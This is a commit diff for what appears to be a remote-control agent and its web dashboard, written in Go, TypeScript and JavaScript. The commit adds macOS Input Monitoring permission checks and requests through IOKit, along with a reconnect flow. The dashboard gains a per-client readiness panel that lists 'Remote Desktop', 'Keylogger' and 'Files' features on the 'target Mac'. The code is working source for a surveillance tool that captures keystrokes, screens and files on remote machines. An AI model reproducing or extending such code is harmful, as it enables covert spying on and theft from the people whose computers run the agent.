more mac imporvements and refresh
This commit is contained in:
@@ -2281,6 +2281,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
case "darwin_request_permissions":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
var requested []string
|
||||
refreshOnly, _ := payload["refreshOnly"].(bool)
|
||||
if raw, ok := payload["permissions"].([]interface{}); ok {
|
||||
for _, item := range raw {
|
||||
if key, ok := item.(string); ok && key != "" {
|
||||
@@ -2288,9 +2289,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
}
|
||||
}
|
||||
perms := sysinfo.RequestDarwinPermissions(requested)
|
||||
perms := sysinfo.DarwinPermissionsRefresh()
|
||||
if !refreshOnly {
|
||||
perms = sysinfo.RequestDarwinPermissions(requested)
|
||||
}
|
||||
missing := make([]string, 0)
|
||||
for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} {
|
||||
keys := []string{"accessibility", "screenRecording", "fullDiskAccess"}
|
||||
if !refreshOnly {
|
||||
keys = append(keys, "inputMonitoring")
|
||||
}
|
||||
for _, key := range keys {
|
||||
if perms == nil || !perms[key] {
|
||||
missing = append(missing, key)
|
||||
}
|
||||
|
||||
@@ -22,6 +22,16 @@ func Elevation() string {
|
||||
}
|
||||
|
||||
func DarwinPermissions() map[string]bool {
|
||||
return map[string]bool{
|
||||
"screenRecording": darwinScreenRecordingPermission(),
|
||||
"accessibility": darwinAccessibilityPermission(),
|
||||
"inputMonitoring": darwinInputMonitoringPermission(),
|
||||
"fullDiskAccess": darwinFullDiskAccessPermission(),
|
||||
"root": os.Getuid() == 0,
|
||||
}
|
||||
}
|
||||
|
||||
func DarwinPermissionsRefresh() map[string]bool {
|
||||
return map[string]bool{
|
||||
"screenRecording": darwinScreenRecordingPermission(),
|
||||
"accessibility": darwinAccessibilityPermission(),
|
||||
@@ -38,6 +48,7 @@ func RequestDarwinPermissions(requested []string) map[string]bool {
|
||||
if len(want) == 0 {
|
||||
want["accessibility"] = true
|
||||
want["screenRecording"] = true
|
||||
want["inputMonitoring"] = true
|
||||
want["fullDiskAccess"] = true
|
||||
}
|
||||
|
||||
@@ -47,6 +58,10 @@ func RequestDarwinPermissions(requested []string) map[string]bool {
|
||||
if want["screenRecording"] {
|
||||
darwinRequestScreenRecordingPermission()
|
||||
}
|
||||
if want["inputMonitoring"] {
|
||||
darwinRequestInputMonitoringPermission()
|
||||
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_ListenEvent").Start()
|
||||
}
|
||||
if want["fullDiskAccess"] {
|
||||
_ = exec.Command("open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Start()
|
||||
}
|
||||
|
||||
@@ -14,6 +14,10 @@ func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func DarwinPermissionsRefresh() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -20,6 +20,10 @@ func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func DarwinPermissionsRefresh() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -66,6 +66,10 @@ func DarwinPermissions() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func DarwinPermissionsRefresh() map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
func RequestDarwinPermissions(_ []string) map[string]bool {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -3,11 +3,12 @@
|
||||
package sysinfo
|
||||
|
||||
/*
|
||||
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation
|
||||
#cgo LDFLAGS: -framework ApplicationServices -framework CoreGraphics -framework CoreFoundation -framework IOKit
|
||||
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <IOKit/hidsystem/IOHIDLib.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
extern bool CGPreflightScreenCaptureAccess(void) __attribute__((weak_import));
|
||||
@@ -22,6 +23,10 @@ static int checkScreenRecordingPermission(void) {
|
||||
return CGPreflightScreenCaptureAccess() ? 1 : 0;
|
||||
}
|
||||
|
||||
static int checkInputMonitoringPermission(void) {
|
||||
return IOHIDCheckAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0;
|
||||
}
|
||||
|
||||
static int requestAccessibilityPermission(void) {
|
||||
const void *keys[] = { kAXTrustedCheckOptionPrompt };
|
||||
const void *values[] = { kCFBooleanTrue };
|
||||
@@ -42,6 +47,10 @@ static int requestScreenRecordingPermission(void) {
|
||||
if (CGRequestScreenCaptureAccess == NULL) return checkScreenRecordingPermission();
|
||||
return CGRequestScreenCaptureAccess() ? 1 : 0;
|
||||
}
|
||||
|
||||
static int requestInputMonitoringPermission(void) {
|
||||
return IOHIDRequestAccess(kIOHIDRequestTypeListenEvent) == kIOHIDAccessTypeGranted ? 1 : 0;
|
||||
}
|
||||
*/
|
||||
import "C"
|
||||
|
||||
@@ -53,6 +62,10 @@ func darwinScreenRecordingPermission() bool {
|
||||
return C.checkScreenRecordingPermission() == 1
|
||||
}
|
||||
|
||||
func darwinInputMonitoringPermission() bool {
|
||||
return C.checkInputMonitoringPermission() == 1
|
||||
}
|
||||
|
||||
func darwinRequestAccessibilityPermission() bool {
|
||||
return C.requestAccessibilityPermission() == 1
|
||||
}
|
||||
@@ -60,3 +73,7 @@ func darwinRequestAccessibilityPermission() bool {
|
||||
func darwinRequestScreenRecordingPermission() bool {
|
||||
return C.requestScreenRecordingPermission() == 1
|
||||
}
|
||||
|
||||
func darwinRequestInputMonitoringPermission() bool {
|
||||
return C.requestInputMonitoringPermission() == 1
|
||||
}
|
||||
|
||||
@@ -10,6 +10,10 @@ func darwinScreenRecordingPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func darwinInputMonitoringPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func darwinRequestAccessibilityPermission() bool {
|
||||
return false
|
||||
}
|
||||
@@ -17,3 +21,7 @@ func darwinRequestAccessibilityPermission() bool {
|
||||
func darwinRequestScreenRecordingPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func darwinRequestInputMonitoringPermission() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -2613,6 +2613,44 @@ tbody tr:hover {
|
||||
.cv-perm-chip:hover { filter: brightness(1.08); }
|
||||
.cv-perm-chip.is-ok { background: rgba(16, 185, 129, 0.1); color: #86efac; border-color: rgba(16, 185, 129, 0.25); }
|
||||
.cv-perm-chip.is-missing { background: rgba(244, 63, 94, 0.1); color: #fda4af; border-color: rgba(244, 63, 94, 0.25); }
|
||||
.cv-perm-freshness {
|
||||
font-size: 10px;
|
||||
color: var(--cv-text-dim);
|
||||
white-space: nowrap;
|
||||
}
|
||||
.cv-perm-readiness,
|
||||
.cv-perm-actions {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.cv-perm-readiness {
|
||||
width: 100%;
|
||||
}
|
||||
.cv-ready-chip,
|
||||
.cv-perm-tool {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
min-height: 22px;
|
||||
padding: 2px 7px;
|
||||
border-radius: 4px;
|
||||
border: 1px solid transparent;
|
||||
font-size: 11px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.cv-ready-chip.is-ok { background: rgba(16, 185, 129, 0.08); color: #86efac; border-color: rgba(16, 185, 129, 0.2); }
|
||||
.cv-ready-chip.is-warn { background: rgba(245, 158, 11, 0.1); color: #fcd34d; border-color: rgba(245, 158, 11, 0.24); }
|
||||
.cv-perm-tool {
|
||||
cursor: pointer;
|
||||
font: inherit;
|
||||
appearance: none;
|
||||
background: rgba(148, 163, 184, 0.08);
|
||||
color: var(--cv-text);
|
||||
border-color: rgba(148, 163, 184, 0.18);
|
||||
}
|
||||
.cv-perm-tool:hover { background: rgba(148, 163, 184, 0.14); }
|
||||
|
||||
.cv-group {
|
||||
display: inline-flex;
|
||||
|
||||
@@ -184,12 +184,13 @@ function macPermissionLabels(keys = []) {
|
||||
const labels = {
|
||||
accessibility: "Accessibility",
|
||||
screenRecording: "Screen Recording",
|
||||
inputMonitoring: "Input Monitoring",
|
||||
fullDiskAccess: "Full Disk Access",
|
||||
};
|
||||
return keys.map((key) => labels[key] || key).join(", ");
|
||||
}
|
||||
|
||||
async function requestMacPermissions(clientId, permissionKey = "") {
|
||||
async function requestMacPermissions(clientId, permissionKey = "", { refreshOnly = false } = {}) {
|
||||
if (!clientId) return;
|
||||
if (!isClientOnline(clientId)) {
|
||||
alert("Client is offline. macOS permissions can only be requested while the client is online.");
|
||||
@@ -200,14 +201,20 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
||||
return;
|
||||
}
|
||||
|
||||
const requested = permissionKey ? [permissionKey] : ["accessibility", "screenRecording", "fullDiskAccess"];
|
||||
const requested = permissionKey
|
||||
? [permissionKey]
|
||||
: refreshOnly
|
||||
? ["accessibility", "screenRecording", "fullDiskAccess"]
|
||||
: ["accessibility", "screenRecording", "inputMonitoring", "fullDiskAccess"];
|
||||
const label = macPermissionLabels(requested) || "macOS permissions";
|
||||
if (!refreshOnly) {
|
||||
const proceed = confirm(
|
||||
`Request ${label} from ${clientId}?\n\n` +
|
||||
"This can show a macOS prompt on the target Mac. " +
|
||||
"Full Disk Access must be granted in System Settings; the agent will open the Privacy pane when possible.",
|
||||
);
|
||||
if (!proceed) return;
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/command`, {
|
||||
@@ -216,6 +223,7 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
||||
body: JSON.stringify({
|
||||
action: "darwin_request_permissions",
|
||||
permissions: requested,
|
||||
refreshOnly,
|
||||
}),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
@@ -225,7 +233,9 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
||||
}
|
||||
const missing = Array.isArray(data.missing) ? data.missing : [];
|
||||
const stillMissingRequested = missing.filter((key) => requested.includes(key));
|
||||
if (stillMissingRequested.length) {
|
||||
if (refreshOnly) {
|
||||
window.showToast?.("macOS permissions refreshed", "success", 2500);
|
||||
} else if (stillMissingRequested.length) {
|
||||
alert(`Permission request completed, but still missing: ${macPermissionLabels(stillMissingRequested)}`);
|
||||
} else {
|
||||
alert(`${label} is granted.`);
|
||||
@@ -236,6 +246,25 @@ async function requestMacPermissions(clientId, permissionKey = "") {
|
||||
}
|
||||
}
|
||||
|
||||
async function applyMacPermissionChanges(clientId) {
|
||||
if (!clientId) return;
|
||||
if (!isClientOnline(clientId)) {
|
||||
alert("Client is offline.");
|
||||
return;
|
||||
}
|
||||
const proceed = confirm(
|
||||
`Reconnect ${clientId} to apply macOS permission changes?\n\n` +
|
||||
"The client will reconnect and report fresh permission state.",
|
||||
);
|
||||
if (!proceed) return;
|
||||
markManualDisconnect(clientId);
|
||||
const ok = await sendCommand(clientId, "reconnect");
|
||||
if (ok) {
|
||||
window.showToast?.("Reconnect requested", "success", 2500);
|
||||
setTimeout(() => loadWithOptions({ force: true }), 1200);
|
||||
}
|
||||
}
|
||||
|
||||
window.__uninstallingClientIds = window.__uninstallingClientIds || new Set();
|
||||
|
||||
function flipFallAndRemove(clientId, { delayMs = 0 } = {}) {
|
||||
@@ -910,6 +939,8 @@ function initializeRenderer() {
|
||||
requestThumbnail,
|
||||
pingClient: (id) => sendCommand(id, "ping"),
|
||||
onMacPermissionRequest: (id, _card, permissionKey) => requestMacPermissions(id, permissionKey),
|
||||
onMacPermissionRefresh: (id) => requestMacPermissions(id, "", { refreshOnly: true }),
|
||||
onMacPermissionApply: (id) => applyMacPermissionChanges(id),
|
||||
userRole: currentUser?.role,
|
||||
getServerVersion: () => currentServerVersion,
|
||||
getDisplayFields: () => displayFields,
|
||||
|
||||
@@ -208,6 +208,7 @@ function isMacClient(client) {
|
||||
const MAC_PERMISSION_LABELS = [
|
||||
["accessibility", "Accessibility"],
|
||||
["screenRecording", "Screen Recording"],
|
||||
["inputMonitoring", "Input Monitoring"],
|
||||
["fullDiskAccess", "Full Disk Access"],
|
||||
];
|
||||
|
||||
@@ -234,12 +235,36 @@ function macPermissionDetailHtml(client) {
|
||||
if (!state) return "";
|
||||
const ok = state.missing.length === 0;
|
||||
const summary = ok ? "All required permissions granted" : `Missing: ${state.missing.map((item) => item.label).join(", ")}`;
|
||||
const granted = Object.fromEntries(state.items.map((item) => [item.key, item.granted]));
|
||||
const featureItems = [
|
||||
{
|
||||
label: "Remote Desktop",
|
||||
ready: granted.screenRecording && granted.accessibility,
|
||||
missing: ["screenRecording", "accessibility"].filter((key) => !granted[key]),
|
||||
},
|
||||
{
|
||||
label: "Keylogger",
|
||||
ready: granted.accessibility && granted.inputMonitoring,
|
||||
missing: ["accessibility", "inputMonitoring"].filter((key) => !granted[key]),
|
||||
},
|
||||
{
|
||||
label: "Files",
|
||||
ready: granted.fullDiskAccess,
|
||||
missing: granted.fullDiskAccess ? [] : ["fullDiskAccess"],
|
||||
},
|
||||
];
|
||||
const labelFor = (key) => MAC_PERMISSION_LABELS.find(([k]) => k === key)?.[1] || key;
|
||||
const chips = state.items.map((item) => `
|
||||
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="Request ${escapeHtml(item.label)} permission">
|
||||
<button type="button" class="cv-perm-chip ${item.granted ? "is-ok" : "is-missing"}" data-mac-permission-key="${escapeHtml(item.key)}" title="${escapeHtml(item.key === "inputMonitoring" ? "Request Input Monitoring permission; reconnect required after granting" : `Request ${item.label} permission`)}">
|
||||
<i class="fa-solid ${item.granted ? "fa-check" : "fa-xmark"}"></i>${escapeHtml(item.label)}
|
||||
</button>
|
||||
`).join("");
|
||||
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}</span></div>`;
|
||||
const readiness = featureItems.map((item) => `
|
||||
<span class="cv-ready-chip ${item.ready ? "is-ok" : "is-warn"}" title="${escapeHtml(item.ready ? "Ready" : `Missing ${item.missing.map(labelFor).join(", ")}`)}">
|
||||
<i class="fa-solid ${item.ready ? "fa-circle-check" : "fa-circle-exclamation"}"></i>${escapeHtml(item.label)}
|
||||
</span>
|
||||
`).join("");
|
||||
return `<div class="cv-field cv-field-wide cv-field-macperms"><span class="cv-field-label">macOS Permissions</span><span class="cv-field-value cv-perm-list"><span class="cv-perm-summary ${ok ? "is-ok" : "is-warn"}">${escapeHtml(summary)}</span>${chips}<span class="cv-perm-freshness">Checked ${escapeHtml(formatAgo(client.lastSeen))}; Input Monitoring updates after reconnect</span><span class="cv-perm-readiness">${readiness}</span><span class="cv-perm-actions"><button type="button" class="cv-perm-tool" data-mac-permission-refresh="1" title="Re-check permissions except Input Monitoring"><i class="fa-solid fa-rotate"></i>Refresh</button><button type="button" class="cv-perm-tool" data-mac-permission-apply="1" title="Reconnect agent to apply newly granted permissions"><i class="fa-solid fa-power-off"></i>Apply</button></span></span></div>`;
|
||||
}
|
||||
|
||||
function shortOsLabel(osRaw = "") {
|
||||
@@ -282,6 +307,8 @@ export function createRenderer({
|
||||
requestThumbnail,
|
||||
pingClient,
|
||||
onMacPermissionRequest,
|
||||
onMacPermissionRefresh,
|
||||
onMacPermissionApply,
|
||||
userRole,
|
||||
getServerVersion,
|
||||
getDisplayFields,
|
||||
@@ -390,6 +417,20 @@ export function createRenderer({
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.target.closest("[data-mac-permission-refresh]")) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (onMacPermissionRefresh) onMacPermissionRefresh(clientId, card);
|
||||
return;
|
||||
}
|
||||
|
||||
if (e.target.closest("[data-mac-permission-apply]")) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (onMacPermissionApply) onMacPermissionApply(clientId, card);
|
||||
return;
|
||||
}
|
||||
|
||||
const copyBtn = e.target.closest(".copy-id-btn");
|
||||
if (copyBtn) {
|
||||
e.stopPropagation();
|
||||
|
||||
@@ -114,6 +114,7 @@ export async function handleClientCommandRoute(
|
||||
const requested = Array.isArray(body?.permissions)
|
||||
? body.permissions.filter((p: unknown) => typeof p === "string").slice(0, 8)
|
||||
: [];
|
||||
const refreshOnly = body?.refreshOnly === true;
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
@@ -123,7 +124,7 @@ export async function handleClientCommandRoute(
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||
});
|
||||
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested } } as any));
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "darwin_request_permissions", id: cmdId, payload: { permissions: requested, refreshOnly } } as any));
|
||||
metrics.recordCommand("darwin_request_permissions");
|
||||
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, targetClientId: targetId, success: true, details: "darwin_request_permissions" });
|
||||
|
||||
@@ -134,8 +135,13 @@ export async function handleClientCommandRoute(
|
||||
try { detail = JSON.parse(result.message); } catch { detail = {}; }
|
||||
}
|
||||
if (detail.permissions && typeof detail.permissions === "object" && !Array.isArray(detail.permissions)) {
|
||||
target.permissions = detail.permissions;
|
||||
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: target.lastSeen, online: target.online ? 1 : 0 });
|
||||
const checkedAt = Date.now();
|
||||
target.permissions = {
|
||||
...(target.permissions || {}),
|
||||
...detail.permissions,
|
||||
};
|
||||
target.lastSeen = checkedAt;
|
||||
upsertClientRow({ id: targetId, permissions: target.permissions, lastSeen: checkedAt, online: target.online ? 1 : 0 });
|
||||
}
|
||||
return Response.json({
|
||||
ok: result.ok,
|
||||
|
||||
@@ -327,7 +327,8 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
|
||||
switch (payload.type) {
|
||||
case "desktop_start":
|
||||
if (!state.isStreaming) {
|
||||
if (target.os === "darwin" && target.permissions) {
|
||||
const targetOs = String(target.os || "").toLowerCase();
|
||||
if ((targetOs.includes("darwin") || targetOs.includes("mac")) && target.permissions) {
|
||||
const missing: string[] = [];
|
||||
if (!target.permissions.screenRecording) missing.push("screenRecording");
|
||||
if (!target.permissions.accessibility) missing.push("accessibility");
|
||||
|
||||
Reference in New Issue
Block a user